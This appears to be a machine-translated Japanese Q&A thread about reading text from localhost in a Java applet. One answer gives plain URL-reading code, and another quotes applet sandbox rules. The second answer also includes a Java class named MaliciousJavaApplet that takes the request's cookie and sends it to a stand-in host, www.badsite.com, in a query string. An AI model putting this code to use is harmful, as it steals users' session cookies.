0

たとえば、定義済みのホスト (私の場合は localhost/applet) からコンテンツを読み取る単純な URL 接続を作成したいと考えています。その方法を教えてください。私はグーグルで検索してきましたが、これまでのところ目立った成功はありません。

ファイルの内容は でありsome text SOME TEXT、アプレットに出力する必要があります。

4

2 に答える 2

0

これは、URLクラスを使用して実行できます。

URL url;
InputStream is = null;
DataInputStream dis;
String line;
url = new URL([put a string with the local host address here. Usual is something like 127.0.0.1]); // can also just put a website to test it.
is = url.openStream();  // throws an IOException
dis = new DataInputStream(new BufferedInputStream(is));

while ((line = dis.readLine()) != null) {
    System.out.println(line); //will get each line from the text file and print it. could also put it in a variable.
}

あなたの質問はちょっと紛らわしいので、私が答えなかったら教えてください。localhost/appletこれはJavaアプレットとはどういう意味ですか?それとも単なるテキストファイル名アプレットですか?テキストファイルは正確にどこにありますか?

于 2013-03-20T14:25:45.080 に答える
0

署名されていないアプレット

署名されていないアプレットは、次の操作を実行できます。

それらは、元のホストへのネットワーク接続を確立できます。java.applet.AppletContext クラスの showDocument メソッドを使用して、HTML ドキュメントを簡単に表示できます。同じページで他のアプレットのパブリック メソッドを呼び出すことができます。ローカル ファイル システムから (ユーザーの CLASSPATH 内のディレクトリから) ロードされたアプレットには、ネットワーク経由でロードされたアプレットのような制限はありません。セキュリティで保護されたシステム プロパティを読み取ることができます。安全なシステム プロパティのリストについては、システム プロパティを参照してください。JNLP を使用して起動すると、署名されていないアプレットは次の操作も実行できます。 クライアントでファイルを開き、読み取り、保存できます。システム全体の共有クリップボードにアクセスできます。印刷機能にアクセスできます。クライアントにデータを保存したり、アプレットをダウンロードしてキャッシュする方法を決定したりできます。JNLP API を使用したアプレットの開発の詳細については、JNLP API を参照してください。署名されていないアプレットは、次の操作を実行できません。

ローカル ファイル システム、実行可能ファイル、システム クリップボード、プリンターなどのクライアント リソースにはアクセスできません。サードパーティのサーバー (元のサーバー以外のサーバー) に接続したり、そこからリソースを取得したりすることはできません。ネイティブ ライブラリをロードできません。SecurityManager を変更することはできません。ClassLoader を作成することはできません。特定のシステム プロパティを読み取ることができません。禁止されているシステム プロパティのリストについては、システム プロパティを参照してください。署名付きアプレット

署名付きアプレットには、署名なしアプレットに課されるセキュリティ制限がなく、セキュリティ サンドボックスの外部で実行できます。

import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
    TextArea messageLog = new TextArea(4, 40);
    public void init() {
      setLayout(new BorderLayout());
      add("Center", messageLog);
    }
    public void start() {
      try {
                             URL url = new URL("http://www.targetsite.net/default.html");
                             URLConnection connection;
                             String inputLine;
                             BufferedReader inReader;
          connection = url.openConnection();
                             connection.setAllowUserInteraction(false);
                             connection.setDoOutput(true);
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             messageLog.append("File read from URL " + url + ":\n");
          inReader = new BufferedReader(
                   new InputStreamReader(connection.getInputStream()));
          while (null != (inputLine = inReader.readLine())) {
             messageLog.append(inputLine + "\n");
          }
          inReader.close();
                             messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
                             String cookie;
                             cookie = connection.getRequestProperty("cookie");
                             URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
                             URLConnection connection2;
                             String inputLine2;
                             BufferedReader inReader2;
          connection2 = url2.openConnection();
                             connection2.setAllowUserInteraction(false);
                             connection2.setDoOutput(true);
                             inReader2 = new BufferedReader(
                   new InputStreamReader(connection2.getInputStream()));
          while (null != (inputLine2 = inReader2.readLine())) {
             messageLog.append(inputLine2 + "\n");
          }
          inReader2.close();
      }
      catch (IOException e) {
          System.err.println("Exception: " + e);
  }
}
}
于 2013-03-20T14:27:23.663 に答える